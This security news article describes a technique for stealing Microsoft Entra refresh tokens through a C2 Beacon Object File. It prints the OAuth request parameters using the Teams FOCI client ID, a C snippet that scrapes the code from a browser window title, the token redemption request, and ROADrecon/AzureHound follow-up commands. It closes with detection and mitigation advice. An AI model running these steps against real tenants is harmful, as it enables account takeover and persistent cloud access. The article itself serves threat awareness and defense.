New Attack Method Steals Microsoft Entra Refresh Tokens via C2 Beaconing

A novel technique for extracting Microsoft Entra refresh tokens via Beacon Command & Control (C2) frameworks has emerged, leveraging browser-based authorization flows and Windows API functions to bypass traditional detection mechanisms.

This method enables attackers to maintain persistent access to cloud resources even on non-domain-joined devices.

Technical Methodology

The approach centers on the OAuth 2.0 authorization code flow (authorization_code grant type), but with critical modifications for offensive operations:

1. Browser Initiation
   A Beacon Object File (BOF) initiates a hidden browser session to https://login.microsoftonline.com/<tenant>/oauth2/v2.0/authorize, specifying parameters: text?client_id=1fec8e78-bce4-4aaf-ab1b-5451cc387264 # Microsoft Teams FOCI client ID &redirect_uri=https://login.microsoftonline.com/common/oauth2/nativeclient &response_type=code &scope=openid%20offline_access%20https://graph.microsoft.com/.default This triggers Entra ID to return an authorization code via the native client redirect URI.
2. Window Title Extraction
   The BOF uses the GetWindowTextA Win32 API to scrape the authorization code from the browser window title, which contains the URL-encoded code parameter: cHWND hwnd = FindWindowA("Chrome_WidgetWin_1", NULL); char buffer[256]; GetWindowTextA(hwnd, buffer, sizeof(buffer)); // Extracts "Success - code=0.AVAApQl..."
3. Token Redemption
   The captured code is exchanged for tokens via a POST to https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token: textPOST /<tenant>/oauth2/v2.0/token HTTP/1.1 Content-Type: application/x-www-form-urlencoded client_id=1fec8e78-bce4-4aaf-ab1b-5451cc387264 &code=0.AVAApQl... &redirect_uri=https://login.microsoftonline.com/common/oauth2/nativeclient &grant_type=authorization_code Successful responses include both access_token (JWT) and refresh_token parameters: json{ "access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOi...", "refresh_token": "AwABAAAAvPM1KaPlrEqdFSBzjqfTGAMxZGUTdM0t4B4...", "expires_in": 3599, "token_type": "Bearer" }

Operational Advantages

• FOCI Exploitation: Leverages First-Party Client IDs (FOCI) like Microsoft Teams (1fec8e78-bce4-4aaf-ab1b-5451cc387264) that allow “family refresh tokens” to access multiple Microsoft services.
• OPSEC Benefits: All token requests originate from the compromised host’s IP, blending with legitimate user activity.
• BYOD Compatibility: Functions on non-domain-joined devices where Primary Refresh Token (PRT) extraction fails.

Post-Exploitation Workflows

Acquired refresh tokens enable:

• AzureAD Reconnaissance via ROADrecon: bashroadrecon auth --access-token eyJ0eXAi... && roadrecon gather
• Conditional Access Policy Mapping: bashroadrecon plugin policies > caps.html
• Lateral Movement using AzureHound: bash./azurehound -r "0.AVAApQl..." list --tenant contoso.com -o bloodhound.json

Detection Challenges

The technique circumvents traditional SIEM rules by:

1. Using valid OAuth 2.0 flows without malware signatures
2. Leveraging Microsoft-owned domains and client IDs
3. Generating network traffic indistinguishable from legitimate Office 365 activity

Mitigation Strategies

• Monitor for anomalous nativeclient Redirect URI usage in Entra ID logs
• Restrict FOCI client IDs through Conditional Access policies
• Implement continuous access evaluation for sensitive Graph API scopes

This method highlights the evolving landscape of cloud credential attacks, where adversaries increasingly weaponize legitimate authentication protocols rather than exploiting vulnerabilities.

Defenders must shift focus to behavioral analytics and token usage patterns rather than relying solely on IOC-based detection.

Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant updates